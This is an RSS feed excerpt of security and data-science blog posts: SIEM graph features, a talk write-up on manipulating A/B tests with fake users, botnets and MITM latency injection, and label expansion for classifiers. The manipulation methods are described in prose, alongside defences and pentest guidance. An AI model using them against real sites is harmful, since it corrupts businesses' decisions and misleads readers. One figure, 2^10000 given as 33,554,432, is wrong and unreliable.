graph features might not be terribly different from unique value features, the assumption is that we are using a different type of storage or an abstraction layer that provides more capabilities than the normal unique value features. For example, I would use for my personal setup <a href="https://janusgraph.org/">Janusgraph</a> with <a href="https://hbase.apache.org/">Hbase</a> as a backend, having single storage for all three of these types of features.</p><p>In the previous image, there was a tag in the <a href="https://www.elastic.co/">Elasticsearch</a> document called <strong>ip_to_user_counter</strong> which was using a graph feature. Not only can this be useful for performing alerts or getting context on the log line, but also to then perform visualizations if needed using the data from the graph database itself.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Bqvhj5nTDQkB0DFK" /><figcaption>Image of the graph filtered for an ip address using <a href="https://github.com/bricaud/graphexp">GraphExp</a></figcaption></figure><p>In this image, we can see the previous dictionary attack on several users, the selected user “<em>collins</em>”. A graph feature, in this case, might count the number of unique users attempted by the IP address at the moment that log was processed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*S8Fdnlv-ZTY02hk_" /><figcaption>Image of the graph filtered for a user and expanded to the ip addresses related using <a href="https://github.com/bricaud/graphexp">GraphExp</a></figcaption></figure><p>In this picture we can visualize what happens to be legitimate activity from two IP addresses, all using the same user and the same commands to perform background jobs.</p><p>Graph features allow for more complex features to be used, although with care due to their increased performance cost. An improvement that can be added at this stage is using caching logic to reduce the number of operations needed on the graph database since this is a very high read use case.</p><h3>Implementing security features</h3><p>One key aspect of implementing these types of features to be used in real-time or near real-time is that the latency of the calculations and storage can be on the milliseconds&#39; range. To achieve it the way the features calculation and retrieval is implemented will be key, and depending on the technologies used this can drastically change. One of the key issues I have seen is on the features storage, in particular between row and column-based databases.</p><h4>Why column-oriented databases work better for features</h4><p>One of the challenges with implementing features is how to scale them to the thousands of possible features any particular log could have. While a user might perform hundreds of actions that would benefit of having a feature during its existence, they will probably not all happen at the same time or even in the same day, yet you would want to populate any of them if necessary.</p><p>Let’s imagine for example we are storing this information on a row-based database such as <a href="http://cassandra.apache.org/">Cassandra</a>. We would not want to keep changing the schema every time a new feature needs to be introduced so we might have one row for each feature in a period of time, and a counter to increment them. Every time we process a log that contains a feature we would write to the storage, but if there are 50 possible features a feature identifier might have at any given time, we might need to read up to 50 rows for each log line!</p><p>Besides the impact on the storage due to the redundancy, this can severely affect the latency of the solution. The number of read requests would be due to the fact that while we can seldom witness an action for a particular feature identifier (such as a user), if we are keeping its context we would always need to read all possible features that are currently active in the period of time for the user. This also means that if you have several feature identifiers (for example another one might be the source IP address), you would need to multiply the number of read operations by each of them.</p><p>In contrast, if we have a column-oriented database such as <a href="https://hbase.apache.org/">Hbase</a> we could reduce the number of read operations taking advantage of the fact that it allows for sparse storage of the columns in the database. We would create a single key that would identify the feature identifier, and then for each of the related features of that user we would add sparsely columns to that row, and we would return every time we read all the information we contain for that particular row. This would avoid having the growth of read requests to <a href="https://hbase.apache.org/">Hbase</a> tied to the number of features we have, only impacting on the number of times we need to write those features.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/928/1*uhHN3TICN2vYiUzRGOS9kQ.png" /><figcaption>The graph shows how while feature identifiers (IP address, user, hostname) grow, each with 50 possible features (total requests, commands executed, ..) the read operations impact for both technologies.</figcaption></figure><p>In the previous case, a log event with two feature identifiers and 1000 possible features, might only perform two read operations in <a href="https://hbase.apache.org/">Hbase</a> (one for the source IP address and another one for the user).</p><h3>Wrapping up</h3><p>I hope through this post I was able to show the value of adding security features to your SIEM, SEM or SIM. While they are no trivial matter to implement, security features can be very useful for near real-time detection, response and to keep easy access to the context on historical logs. Not only do they allow analysts to easily understand the context of a log or improve their searching capabilities but they also allow simple rule engines to become very powerful by not only taking advantage of enrichment of a single log line but also the context surrounding it, and storing the data in a graph structure can help find threats which might be difficult to discover when using relational models.</p><p>As always, thanks for reading and let me know if you have any feedback or questions!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=23560689bba8" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Exploiting A/B Testing for Fun and Profit (Part 2)]]></title>
            <link>https://89berner.medium.com/exploiting-a-b-testing-for-fun-and-profit-part-2-e1eaff18a865?source=rss-58ed3269a003------2</link>
            <guid isPermaLink="false">https://medium.com/p/e1eaff18a865</guid>
            <category><![CDATA[security]]></category>
            <category><![CDATA[a-b-testing]]></category>
            <dc:creator><![CDATA[Juan Berner]]></dc:creator>
            <pubDate>Tue, 13 Aug 2019 15:11:39 GMT</pubDate>
            <atom:updated>2019-08-13T15:13:03.735Z</atom:updated>
            <content:encoded><![CDATA[<p><em>This is the second part of a post based on a </em><a href="https://www.youtube.com/watch?v=ed6mMLwwtco"><em>talk I gave in the Ekoparty security conference in 2016</em></a><em> on exploiting A/B testing frameworks. You can find part one </em><a href="https://medium.com/@89berner/exploiting-a-b-testing-for-fun-and-profit-part-1-f39d48a07076?source=friends_link&amp;sk=efaaf815bedfe64bf1f484f6c94c8fdb"><em>here</em></a><em>.</em></p><h3>A/B Testing for Penetration Testers</h3><p>An important aspect of A/B testing, that impacts directly on penetration testers, is that when a website uses A/B testing for anything that affects their logic a single web vulnerability scan won’t give them a complete picture of the actual website. Multiple times I have heard from confused penetration testers how they were able to find a vulnerability and realise they could not trigger it anymore when starting from a fresh new session, given that an experiment would place them on a different variant which was not vulnerable. Even though A/B testing is becoming the norm, this has remained largely ignored by security specialists.</p><p>If any page might have multiple experiments at a time with multiple variants, each of which your normal vulnerability scanner would only see partially, what could be done about it? For example, if a website was performing only 4 experiments at the same time with each of them presenting two different backend logics, a single scan would <strong>only</strong> detect half of the possible views of those experiments for that website, ignoring possible vulnerabilities in the other half.</p><p>A naive thought might be that scanning such a website 2 times would be enough to get all it’s possible versions, but there are two things to take into account:</p><ol><li>Experiments are usually sticky, which means that you would need to ensure that the same cookies are not being used (or anything that could identify the scanner as the one seen before).</li><li>Since we are assigned to experiments under probabilities, we can’t guarantee we will or won’t be part of an experiment with complete certainty.</li></ol><p>Now, if you knew that a website usually has 10000 concurrent experiments happening, does that mean you would need to scan it 20000 times to ensure you have seen all of them? While the answer is that you can never be sure you have seen all possible experiments (unless there is data leaking from the experimentation library) you could estimate how many scans you need to satisfy a degree of certainty.</p><p>Taking the previous case as an example, if we state that the experiments are controlled by a probability of 50% to fall in one of two versions, that would mean there would be 33.554.432 (2¹⁰⁰⁰⁰) possible combination of the website to scan. Of course this is not practical and we don’t need to get 100% coverage, but the higher the amount of independent crawls (which means that the victim site believes they are all independent users) will increase the possibility of coverage.</p><p>Let’s place a simple example for websites that only run experiment with two versions, giving them a 50% chance on falling on any of them. A formula to calculate how many scans we need to satisfy a particular confidence condition would be:</p><blockquote>log_2(E) + log_2(1/(1-P)) + 1</blockquote><blockquote>P: Desired probability of getting all scans<br>E: Amount of experiments expected on site</blockquote><blockquote>log2(10000) + log2(1/(1–0.99)) + 1 = 21</blockquote><p>Which means that we would need to perform 21 scans of a website that runs 10000 experiments (E) if we want to have a confidence of 99% (P) of seeing all possible versions of the experiments. Given the logarithmic nature of the problem, we could configure safe defaults (for example 50 to 100 scans for very large websites) to cover with a good probability that we will have checked all possible versions of a website.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*owP-Ow8lkQ1F8g_B" /><figcaption><em>Amount of scans of a website needed given an amount of experiments to get a degree of probability of seeing all possible versions of the website. While for a small amount of experiments it might take many scans to get a good certainty, the logarithmic growth means a site with thousands of experiments could be fully scanned with only tens of iterations.</em></figcaption></figure><p>These experiments can become a very important part of a security assessment, since they provide a glance into fresh new code which might be untested due to the nature of an experiment making it less secure than its otherwise established counterpart.</p><p>This also means that all scanning tools right now are giving only partial results, and even if they do find a vulnerability in an experiment, the user of the tool might not actually be able to reproduce it since its session might not exist in that particular experiment.</p><p><em>On my </em><a href="https://youtu.be/ed6mMLwwtco?t=1489"><em>talk’s third demo</em></a><em> I used the a web application vulnerability scanner (</em><a href="https://w3af.org/"><em>w3af</em></a><em>) to scan a website with a vulnerability behind an experiment to show that the amount of scans needed given the amount of pages and experiments on that site.</em></p><h3>Embracing experimentation</h3><p>As a penetration tester, experimentation should not be seen as problem which reduces your results but as an opportunity to find new code which might have gone through lower amounts of testing. Web vulnerability scanning tools should adapt to spot experiments improving their chances of finding vulnerabilities which might otherwise remain hidden improving the security of said applications. This could be done by providing the ability to detect with multiple scans experiments on a site and saving the necessary information so that when a user wants to replicate a vulnerability that was found, it could do it under the profile which had the vulnerable experiment selected.</p><h4>Additional information</h4><p><a href="https://www.slideshare.net/JuanBerner1/exploiting-ab-testing-ekoparty-2016-slides">Slides of the talk</a><br><a href="https://www.youtube.com/watch?v=ed6mMLwwtco">Video of the talk</a><br><a href="https://github.com/89berner/abnormal">The code used in the talk</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e1eaff18a865" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Exploiting A/B Testing for Fun and Profit (Part 1)]]></title>
            <link>https://89berner.medium.com/exploiting-a-b-testing-for-fun-and-profit-part-1-f39d48a07076?source=rss-58ed3269a003------2</link>
            <guid isPermaLink="false">https://medium.com/p/f39d48a07076</guid>
            <category><![CDATA[a-b-testing]]></category>
            <category><![CDATA[security]]></category>
            <dc:creator><![CDATA[Juan Berner]]></dc:creator>
            <pubDate>Tue, 13 Aug 2019 15:10:29 GMT</pubDate>
            <atom:updated>2019-08-13T15:12:19.032Z</atom:updated>
            <content:encoded><![CDATA[<p><em>This post is based on </em><a href="https://www.youtube.com/watch?v=ed6mMLwwtco"><em>a talk I gave at the Ekoparty security conference in 2016</em></a><em>. Given the amount of requests I had on the subject I’m publishing this as a blog post so it can reach a wider audience.</em></p><h3>A/B Testing for everyone</h3><p>From the <a href="https://blog.optimizely.com/2010/11/29/how-obama-raised-60-million-by-running-a-simple-experiment">Obama campaign in 2008</a> to companies like Facebook or Amazon, A/B testing has been used for over a decade to make decisions based on user generated data yet little research has happened in terms of its security implications. This trend has continued where many products come with A/B testing as a feature, such as advertisings like Facebook Ads or Google Ads, bringing this feature to the masses expanding its ubiquity as a way to make decisions.</p><h4>What is A/B Testing?</h4><p>A/B Testing can be considered as a way in which companies of all sizes are able to compare how different versions of their products are received by their customers and drive decisions on which ones to use (this is usually called an experiment). They can go from simple algorithms which will display the image which seems to trigger a particular metric the most to complicated multivariate experiments. Some experiments might have small impact on the website (for example experimenting on what image to show or text copy to use) but others can go from deciding if a new product should be launched to how harsh the headline of a newspaper might be¹.</p><h4>A/B Testing in action</h4><p>A small explanation of how A/B Testing works would be: When deciding to implement a new feature, business product or text, you would present to your audience two options (and make sure each member of your audience would only see one of them) a control group and a treatment group. A new feature would be placed in the treatment group and then through statistics you would try to determine the effect of that feature on your metrics. If the effect is positive you would make the feature introduced in the experiment permanently, otherwise you would discard the experiment as unsuccessful.</p><p>An example would be adding a search box to go through items in a shopping category, if this does impact your metric of amount of items bought by the user by a larger margin that what you would randomly expect, you would start showing the search box to all users thus finishing the experiment and having the variant of the search box “win”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*x3rEJ-rRdJcPgsJV" /></figure><p><em>An image from 2016 on Instagram testing two different captions for their landing page using the </em><a href="https://github.com/89berner/abnormal"><em>Abnormal tool</em></a><em>. One could estimate that the metric they are looking for would be amount of registrations for each caption to decide which one to use.</em></p><p>One of the interesting points of A/B testing is that its results might not be obvious, which gives leverage to an attacker to produce any result they want knowing that even if the results seem unintuitive the victim site would still accept them. This could have dangerous implications we will examine further.</p><h3>Manipulating A/B Testing experiments</h3><p>The main threat that A/B testing frameworks can introduce is the ability for third parties to influence the experiments maliciously, which introduces the risk that they might want to orchestrate it for their own benefit. Given that experiments will usually work in either an automatic decision-making process based on particular metrics or one that involves a human reviewing the metrics before making a decision, an attacker could exploit those metrics to impact the experiment in the way they might choose.</p><p>An example on how this could be done would be by creating multiple sessions which would make it possible to fake the behaviour of multiple users affecting those metrics to change how the website might behave or its background business logic. In this scenario not only external attackers might be interested in subverting these decisions but also internal employees who might want to prove how their decisions or implementations are better.</p><p>To achieve this an attacker might follow three steps:</p><h4>Step 1: Exploring the website</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/390/0*1MJrLi_ucibsvXAP" /></figure><p><em>Fake user being generated and retrieving different versions of the same site.</em></p><p>In this step the attacker would create hundreds or thousands of different fake user pretending to have different devices, operating systems, user agents, language locales and ip addresses to get as much diversity as possible according to what the attacker might think the distribution of the victim site is.</p><h4>Step 2: Mapping of experiments</h4><p>For this step the attacker would review all possible versions and start identifying for which fake users they were visible and creating groups which belong to each of them.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/688/0*-ldICiQzeowWq_nO" /></figure><p><em>Fake users viewing version B are mapped to Experiment B.</em></p><h4>Step 3: Targeting potential metrics</h4><p>As mentioned before experiments have an objective, which is to maximize one or a set of metrics. In some cases attackers will need to rely on different sources (source code, blog posts, talks, publications and business knowledge) to identify potential metrics that might be used by the victim site to decide if an experiment is successful. For example for a news website which does not provide any registration capabilities ‘clicks to a news article’ and ‘amount of time spent on article’ might be metrics that are used to decide if a newspaper headline is better than others.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/976/0*zFMnnM1hAAck8f6-" /></figure><p><em>In this step since we want version B to succeed vs version A we would trigger metrics we think are interesting for the victim site only for members that were shown version B.</em></p><p>While a greater number of fake users would increase the probability of getting a particular version to be accepted by the victim site, it’s important to understand that it might not need a large amount of bots pretending to be users, but it would be enough to give an unfair advantage to a single version an attacker is interested in, tipping the balance in their favor.</p><p><a href="https://youtu.be/ed6mMLwwtco?t=619"><em>In the talk’s first demo</em></a><em> the example was using </em><a href="https://github.com/89berner/abnormal"><em>a tool I built called Abnormal</em></a><em> to create hundreds of fake users using open proxies. These users would then target certain metrics showing how the A/B testing framework would then allow the manipulated variant of the experiment to become the ‘winner’.</em></p><p>Another alternative an attacker is able to exploit, be it by itself or in addition to focusing on the key metrics of the experiment, would be to focus on possible negative metrics for the members of the version which is not desired, such as stopping all interaction a short time after viewing it. This could be used to fully take advantage of all the fake user created by both using the ones on the version the attacker wants to stay to trigger positive metrics and the ones on the other versions to trigger negative metrics.</p><h3>How this could be exploited at scale</h3><p>There is one more perspective of how an attacker might want to manipulate experiments on a much larger scale. Previously I mentioned how an attacker might create fake users to alter an experiment making the victim site believe their users prefer one version more than another. Yet the same kind of manipulation could happen from compromised machines which are part of a botnet or MITM attacks that allow to modify the content of requests even when secured with TLS.</p><p>As an example, sites like the <a href="https://www.nytimes.com/">New York Times</a> would also perform experiments on their headlines:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/900/0*ButGvAeO85sxHn72" /></figure><p><em>Image provided by </em><a href="https://freedom-to-tinker.com/2016/05/26/a-peek-at-ab-testing-in-the-wild/"><em>https://freedom-to-tinker.com/2016/05/26/a-peek-at-ab-testing-in-the-wild/</em></a></p><p>If news websites use A/B testing experiments to decide their headlines or content², a sufficiently motivated attacker could take advantage of real users interacting with different versions of that website to ensure that the version they prefer would be the one to be chosen by that company. As an example, it is common knowledge that latency can affect the conversion of a website on its main metrics. In the case of Amazon they realised that 100ms extra latency meant 1% lower sales³. An attacker could look at versions that they don’t want to succeed and add enough latency so that users might click or spend less time on the articles. Other possibilities would go as far as to degrade mouse activity increasing the friction the user faced and as a consequence the metrics of the experiment.</p><p><em>On my </em><a href="https://youtu.be/ed6mMLwwtco?t=1148"><em>talk’s second demo</em></a><em> I showed how a MITM attack could perform sentiment analysis on the different headlines of a newspaper website and disable clicks on the ones with a negative sentiment of a topic that wanted to be manipulated. This would impact negatively the metrics on that newspaper, which was known to perform A/B testing on its headlines, and by a sufficient advanced adversary it could influence the decisions on which headlines to use influencing the reader’s perception of the topic involved.</em></p><h3>So what can we do about it?</h3><p>Going into what defensive measures should be placed to mitigate the risks of a third party exploiting your A/B testing framework for their own benefit would take an article on its own, but some of the highlights to take into account are:</p><ul><li>You should remove suspicious bot activity from experiment data when possible.</li><li>After an experiment ends, there should still be follow ups on the users that had an impact on the experiment to detect possible malicious behaviour such as them being fake users.</li><li>You could keep a set of users outside of all experiments to follow their behaviour through time and detect if what looks like short term improvements on experiments are actually decreasing your main metrics on the long run.</li><li>There should still be analysis on results when they seem counter intuitive, and not just taking them blindly because a metric might have improved.</li><li>Selection of the variant of a user in an experiment needs to be random enough that it cannot be predicted or manipulated by a malicious third party.</li></ul><h4>Additional information</h4><p><a href="https://www.slideshare.net/JuanBerner1/exploiting-ab-testing-ekoparty-2016-slides">Slides of the talk</a><br><a href="https://www.youtube.com/watch?v=ed6mMLwwtco">Video of the talk</a><br><a href="https://github.com/89berner/abnormal">The code used in the talk</a></p><p>For details on how A/B testing could be used by penetration testers you can check the second part of the post <a href="https://medium.com/@89berner/exploiting-a-b-testing-for-fun-and-profit-part-2-e1eaff18a865?sk=1b30a1623b023355ddf5da53d67ecbc8">here</a>.</p><p>[1] <a href="https://freedom-to-tinker.com/2016/05/26/a-peek-at-ab-testing-in-the-wild">https://freedom-to-tinker.com/2016/05/26/a-peek-at-ab-testing-in-the-wild</a><br>[2] <a href="http://www.digitalnewsreport.org/publications/2016/editorial-analytics-2016/">http://www.digitalnewsreport.org/publications/2016/editorial-analytics-2016/</a><br>[3] <a href="https://blog.gigaspaces.com/amazon-found-every-100ms-of-latency-cost-them-1-in-sales/">https://blog.gigaspaces.com/amazon-found-every-100ms-of-latency-cost-them-1-in-sales/</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f39d48a07076" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Expanding labeled datasets through correlated features]]></title>
            <link>https://89berner.medium.com/expanding-labeled-datasets-through-correlated-features-e17d482a084f?source=rss-58ed3269a003------2</link>
            <guid isPermaLink="false">https://medium.com/p/e17d482a084f</guid>
            <category><![CDATA[data-science]]></category>
            <category><![CDATA[security]]></category>
            <category><![CDATA[nlp]]></category>
            <category><![CDATA[machine-learning]]></category>
            <category><![CDATA[classification]]></category>
            <dc:creator><![CDATA[Juan Berner]]></dc:creator>
            <pubDate>Mon, 22 Jul 2019 14:23:36 GMT</pubDate>
            <atom:updated>2019-07-23T09:24:53.187Z</atom:updated>
            <content:encoded><![CDATA[<h3>The challenge of obtaining labeled data</h3><p>One of the biggest challenges of developing a good classification model is usually getting a large amount of labeled data to ensure it can generalise properly in production. Once you have decided that you want to create a model to detect anything from phishing attacks to fraud attempts, the realisation that you first need to get enough ‘labeled’ data can become a chicken and egg situation since, if you already had plenty of this data labeled, it would mean that you were catching the attacks through some other means.</p><p>An approach that many organisations take when faced with this situation is to get analysts or third parties (such as Amazon’s Mechanical Turk with privacy protecting measures taken if needed) to review the data and add the labels manually, a process which depending on how much data you might needed correctly labeled, could make the whole project infeasible.</p><p>After dealing with this problem in the past I’ve found that a way to go from no labeled data (or a small amount) to a rich and generalised dataset of labeled data was possible with minimal analyst work through a process of extrapolation based on features of the dataset that might be related to the labels we are interested in.</p><p><strong><em>For example if you had a model that was able to classify phishing sites based on their html, you might find a correlated feature to a subset of phishing sites which might belong to a subset of the </em></strong><a href="https://en.wikipedia.org/wiki/WHOIS"><strong>WHOIS</strong></a><strong><em> information for the site (such as the email of who registered it). The extrapolation process would allow to find other phishing sites of the same owner, learning their html structure and allowing the model to predict others which are similar.</em></strong></p><h4>Expanding labels</h4><p>If for example you want to be able to correctly classify questions on <a href="https://travel.stackexchange.com/">travel.stackexchange.com</a> as related to a visa question one might go through many samples of questions adding a label when they are related to a visa permit, but with datasets of millions of queries getting enough generalisation on how people might write about the topic can be daunting. This can become specially difficult when dealing with hundreds of thousands of entries to classify into hundreds or thousands of labels. In many cases an approach to solve this is building a model based on an initial subset of labeled data and then use the model to find more data related to the label.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/746/1*W1GsMzdsM5esozDsawcziQ.jpeg" /><figcaption>Creating a model to label more data in its dataset by generalising from the original labeled data</figcaption></figure><p>While this will expand the amount of labeled data available, it will not be as effective in improving the predictions of real world data. For example if the model learned to look at questions with the ‘visa’ keyword, by expanding the dataset to other questions that have the same keyword it might not learn different ways of asking the same question (such as asking about a passport or a stay permit).</p><p><strong><em>In short, you might expand the amount of labeled data, but not the vocabulary that refers to the label you are interested.</em></strong></p><h4>Using correlated features to expand labeled data</h4><p>A way to solve the problem of not improving how the model generalises would be expanding the dataset not taking into account only the questions but features which strongly correlate to the label we are interested in. If we create a model based on the answers to questions we know are related to the label, and then use it to find other questions that might relate to it, unlike in the previous example where we create a model based on already tagged questions, we would be able to expand the vocabulary of ways of asking for the label which were not contained on the original labeled data.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/731/1*gRNI9h3iRBbJNTZnO_gv9w.jpeg" /><figcaption>Expanding a dataset by looking at correlated features to the label allows to expand the vocabulary of the model</figcaption></figure><p>For example if we had labeled a dataset by just looking at the word “visa” (since we are interested in the ‘visa’ topic) and then used its answers to find other answers <a href="https://travel.stackexchange.com/questions/934/penalty-for-overstaying-tourist-visa-in-taiwan">such as</a>:</p><blockquote>penalties are levied via a fine the fine ranges from around 1000 ntd (if you overstay by an hour up to 10000 ntd source (page 5 http //iff immigration gov tw/public/data/11714474471 pdf</blockquote><p>A model using those answers to find other questions of the same topic might learn something outside of our initial queries, which was that discussions about visas include answers about possible penalties. Then building a model with those answers to find questions which we did not know were related to the visa topic, can result in finding questions <a href="https://travel.stackexchange.com/questions/21030/can-i-visit-uk-with-italian-stay-permit">such as</a>:</p><blockquote>can i visit uk with italian stay permit</blockquote><p>Which might not have any relationship with our original labeled dataset, going from a generalisation of how people might use the word ‘visa’ in a sentence and some supporting words to finding out that people asking for a ‘stay permit’ might also relate to the same topic.</p><p>While in this example the correlated feature is quite straightforward to consider (the answer to the question), this is not always the case. Such a feature could be composed of several different ones which can together help identifying the label we care about.</p><p><strong><em>In this situation, you would both be expanding the amount of label data and the vocabulary to improve the ability to generalise to real world examples.</em></strong></p><h3>Ensuring the quality of the labeled data</h3><p>One of the risks of this approach of creating models based on correlated features (or even adding labels to data based on a model from an original set of labeled data) is that prediction errors can get propagated and grow through each iteration of tagging more data based on the model (since each dataset would have more and more incorrectly labeled data). While some might try to focus on only labeling documents that have a very high probability of belonging to the class the model tries to predict (which in turn means that the model will learn little from the new labels), an approach I have found is to take a semi-supervised take on the problem which allows to expand the amount of data labeled while also learning new ways to predict the label.</p><h4>Sampling clusters for acceptance of new labeled data</h4><p>By clustering the data that we were able to predict as a particular label (for example based on the answers) we would be able to quickly assess by sampling elements in each cluster if the label was correct or incorrect, and based on that decision provide the label to all the documents in the cluster. This allows us to select samples close to the classification boundary (which we can decide with a threshold of our choice) and then decide to add them or not in a process which could be considered <a href="https://en.wikipedia.org/wiki/Semi-supervised_learning">semi-supervised</a>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iPGyqH-BhbYmr1OIelwVGQ.jpeg" /><figcaption>This process ensures that every time we are using a model either to expand on the same vocabulary (by looking at questions) or learning new ways of asking (by looking at questions that had answers similar to the expected for the label) we are evaluating the results by looking at samples of clusters to speed up the analysis</figcaption></figure><p>This means that by following the previous process we are able to not only expand our labeled dataset, but also improve our capacity to generalise to ways of asking about the label which were previously unknown and unrelated to the original labeled data. Clustering the newly found data to label allows to only sample a small subset of the data before accepting all the cluster which can dramatically speed up the process.</p><p><strong><em>Keep in mind this will only work if the correlated feature you are using has a strong relationship to the label of the data. In other words, you would usually expect to be able to tell what was the question for an answer if you were only given the latter.</em></strong></p><h3>Case study: travel.stackexchange.com</h3><p>Let’s perform a small example of this process, using the available dataset for <a href="https://travel.stackexchange.com/">https://travel.stackexchange.com</a> which is shared in the <a href="https://archive.org/details/stackexchange">Internet Archive</a>. For that I created this <a href="https://jupyter.org/">Jupyter Notebook</a> which you can find <a href="https://github.com/89berner/label_expansion_blogpost/blob/master/Question_Answer_Classification.ipynb">here</a>.</p><h4>Getting the dataset</h4><p>First we will download the dataset and after performing some cleaning and we would take the <strong>id</strong>, <strong>title</strong> of the question and the accepted <strong>answer</strong>. We will add a column for the classification (which will start as unknown for all the rows) and who classified it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JVDriFhdDctyFRUpxXajEA.png" /><figcaption>Initial pandas dataframe without any labels</figcaption></figure><p>Once we have the dataframe, we would need some labeled data. In this case to pretend we already got a labeled dataset I will perform a very naive approach to getting labeled data for the ‘visa’ topic (are people asking about a travel Visa). To achieve that I will label any question which has a title with ‘visa’ in it with the ‘visa_question’ label.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zSbP47oscbQO-oqFLvlxBg.png" /><figcaption>In this image we have added a label of “visa_question” to any row with a title containing the string “visa”. The displayed rows are all titles that should belong to the visa_question topic</figcaption></figure><h4>Building a model based on question titles</h4><p>Since we have our initial labeled dataset, we can create a simple classification model that will learn to differentiate between questions of the visa topic and those which do not belong to it based on the content for the question title. For that I will be using the scikit-learn <a href="https://scikit-learn.org/stable/modules/generated/sklearn.linear_model.SGDClassifier.html">SGDClassifier</a> module (which uses SVM as the linear classifier)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/874/1*tZ1IpkXBD61_FWJE2gvjMQ.png" /><figcaption>The results of validation for a classification model trained to discover questions related to the “Visa” topic. The score is unrealistically high since we created it by labeling all questions with the ‘visa’ keyword in them.</figcaption></figure><p>By now we would have the model created based on the question titles. This means we could attempt to use it to find more questions which might belong to the visa topic but were not labeled as such. As mentioned above the problem with this approach is that we will be limited to the vocabulary already contained in our original model. To avoid labeling incorrectly we would need the classifier to predict its likelihood of being part of the label as extremely high.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*C2v4mINiLZ__X8xL5WU2KQ.png" /><figcaption>Some documents which the classifier thought might also belong to the label. For example the first one was incorrectly labeled</figcaption></figure><h4>Using correlated features to expand our vocabulary</h4><p>One strongly correlated feature to the question title would be the accepted answer. In this case we could expect that answers related to the visa_question label would have similarities between them which we could use to predict other questions related to the visa topic.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vLzNlj2rO-iboXbXkDgDXw.png" /><figcaption>Some answers for questions classified as part of the “visa_question” label</figcaption></figure><p>If we look a bit into the answers of the topics we might be able to find some patterns that we hope our models to learn, to achieve that we will perform a similar process as we did when we created a model based on the question titles, but this time focused on the question answers. This would be a classification model that learns how the answers for the visa topic look like so it can predict which other answers might belong to the same topic (and by transitivity we would expect their questions too).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EDMexRypoT8QZBEHVTz1SA.png" /><figcaption>Results of the validation from a model created by looking at the answers for questions labeled as ‘visa_question’.</figcaption></figure><p>With this model available, now we can go through the questions we have not been able to label yet and classify them as the ‘visa_question’ label if the prediction of it belonging to the class is above a threshold we will determine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XzOM881qxrXpFwrJdOeIsw.png" /><figcaption>While the model was able to find these entries based on their answer, we can see some questions relate to a visa, even if the question title did not have language that would have allowed our initial models to predict it</figcaption></figure><p>We can also explore in this case some of the new vocabulary we were able to learn based on the model created using the answers to questions.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*O8N7TPiKkSui12PxJfPz8A.png" /><figcaption>In this case through answers we were able to learn the phrase “layover flight between” might relate to questions about visa requirements</figcaption></figure><h4>Reducing errors when expanding our dataset</h4><p>As mentioned above, the previous process can lead to classifying incorrectly the labeled data, in a process that can keep expanding the errors in each iteration. To overcome this we can go through the semi-supervised approach of clustering the results before we apply a label to them. We can for example use a hierarchical clustering algorithm such as <a href="https://scikit-learn.org/stable/modules/generated/sklearn.cluster.AgglomerativeClustering.html">AgglomerativeClustering</a> to cluster titles which might relate to each other, so that by sampling only a subset of them we could approve the whole batch of data to label. This will not remove the possibility of adding incorrect labeled data, but it can reduce it enough to allow the model to improve even if some of the data is incorrectly labeled.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bzpsXz7-JjExDfBlaYfa-w.png" /><figcaption>Two clusters of messages that were found through the model which was trained by looking at answers to questions. We could take random samples of the cluster and evaluate if they relate to the visa label, if they do add the label to all the questions related to the cluster or discard them.</figcaption></figure><p>While this is a small example, a cluster might have thousands of documents which are all similar on nature and could allow an analyst to quickly review samples of them before making a decision. <strong>After some clusters are accepted, the process can be restarted as many times as needed until the performance is reduced, and one way of measuring this would be on the clusters acceptance rate</strong>. Another benefit of sampling clusters for acceptance, is that you can add to the process the labeling of clusters as sub-topics, which can benefit from the same process of label expansion through the dataset.</p><p>If you want to check the Jupyter Notebook I used for this analysis you can find it <a href="https://github.com/89berner/label_expansion_blogpost">here</a>. It will require downloading the <a href="https://archive.org/download/stackexchange/travel.stackexchange.com.7z">archive</a> for <a href="https://travel.stackexchange.com/">https://travel.stackexchange.com</a> and then placing the Posts.xml file under the travel_questions/Posts.xml.</p><p><em>Considerations:</em></p><ul><li><em>There was no attempt at finding the optimal hyperparameters or using the best possible model.</em></li><li><em>The dataset used is quite small, the approach described here would have better results with large datasets where multiple different topics need to be classified.</em></li><li><em>I expect I did not discover this strategy so if you have examples of this being used or papers about it I would appreciate if you can leave a comment with a reference to them!</em></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e17d482a084f" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
